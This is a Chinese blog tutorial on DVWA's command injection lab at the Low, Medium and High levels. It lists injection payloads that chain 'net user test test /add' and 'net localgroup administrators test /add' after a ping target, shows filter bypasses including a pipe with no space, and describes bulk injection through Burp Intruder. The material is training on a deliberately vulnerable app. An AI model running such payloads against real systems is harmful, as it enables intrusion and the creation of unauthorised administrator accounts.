N3 DVWA Command Injection(命令注入)

一.基础知识

1.ping命令
ping ip地址 :测试该ip是否在线
ping -n 2 ip地址:Windows系统,发送两次ping包命令。
ping -c 2 ip地址:Linux系统,发送两次ping包命令。
ping 127.0.0.1 :测试本地tcp/ip服务是否正常工作

2.ipconfig命令
ipconfig:Windows系统查看本机ip的命令
ifconfig:Linux系统查看本机ip的命令

3.net user
net user 用户名 密码 /add :Windows系统添加用户命令
net localgroup administrators 用户名 /add:将该用户添加到超级管理员组

4.连接符
ping 127.0.0.1 && ipconfig :如果成功执行第一个命令,则继续执行第二个命令
ping 127.0.0.1 & ipconfig:第一个命令无论执行成功与否,都继续执行第二个命令
ping 127.0.0.1 || ipconfig:第一个命令成功执行,则第二个命令不执行。若第一个命令执行错误,则执行后面命令。
ping 127.0.0.1 | ipconfig:第一个命令无论正确与否,都只执行第二个命令
ping 127.0.0.1 ;ipconfig:Linux系统下的命令,执行第一个和第二个命令。

二、Low级别

1.源码分析
在这里插入图片描述
这里我们可以看到,将用户输入的 ip 赋值给$target,直接执行ping $target,中间不做任何过滤处理。

2.手动注入
127.0.0.1 && ipconfig
127.0.0.1 & ipconfig
127.0.0.1 | ipconfig
127.0.0.1 ; ifconfig //DVWA服务器为Linux系统时
分别输入以上命令,可以发现,均可返回ipconfig命令的结果
在这里插入图片描述
说明我们可以在这里可以进行命令注入。
那么我们通过这个注入点,为系统创建一个新的用户,并赋予管理员权限。
可以通过以下命令实现
127.0.0.1 && net user test test /add
127.0.0.1&& net localgroup administrators test /add
我们输入第一条命令
在这里插入图片描述

输入命令后,打开搭载DVWA的靶机,输入net user查看是否成功创建用户。
在这里插入图片描述
发现已经成功为我们创建了账号为test 密码为test 的用户,输入net user test,发现该用户目前在user组中.
在这里插入图片描述
我们执行第二条命令,再次查看。
在这里插入图片描述
在这里插入图片描述
发现已经加入超级管理员组,拥有了超级管理员权限。这样一次手工命令注入就完成了。
实验做完后,记得输入net user test /del命令,将刚刚创建的test用户删除哦。

3.批量注入
我们将命令放入一个txt文件,做出一个命令字典。
在这里插入图片描述
打开Burpsuite,将火狐浏览器设置为代理模式。
输入127.0.0.1,submit。打开Burpsuite,将数据包传到Intruder模块,使用sniper模式跑字典。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
因为Windows系统默认ping 4次,所以速度比较慢。
也可以使用 -n 1 127.0.0.1 && ipconfig,将ping包设置为1次,可以加快速度。
我们可以看到,命令已经成功执行。我们进入DVWA的靶机,查看一下是否已经成功创建test用户。
在这里插入图片描述
发现已经成功创建。
在这里插入图片描述
通过bp批量注入也完成了。

三、Meduim级别

1.源码分析
在这里插入图片描述
2.命令注入
我们发现这个只对&&和;进行了过滤
那么,我们不使用&&和;命令,使用&、|、||依旧可以绕过。
在这里插入图片描述
同理,字典更换为
127.0.0.1 & ipconfig
127.0.0.1 || ipconfig
127.0.0.1 | ipconfig
127.0.0.1|net user test test /add
127.0.0.1|net localgroup administrators test /add
依旧可以进行注入
在这里插入图片描述
在这里插入图片描述
这样meduim级别的命令注入就成功完成了!

四、high级别

1.源码分析
在这里插入图片描述
我们发现,基本上所有的关键字都被过滤了,但在|的地方,由于失误,多加了一个空格,导致我们输入|不加空格,是可以绕开的。
那么下面我们尝试一下。发现127.0.0.1|ipconfig (|后不加空格)是可以绕过过滤的。
在这里插入图片描述
于是,我们可以构建字典
127.0.0.1|ipconfig
127.0.0.1|net user test test /add
127.0.0.1|net localgroup administrators test /add
发现命令执行成功
在这里插入图片描述

在这里插入图片描述
这样,high级别的命令注入就完成了,大家动手试一试吧!
做完实验,一定记得删除自己创建的用户哦!

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

尐猴子君

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值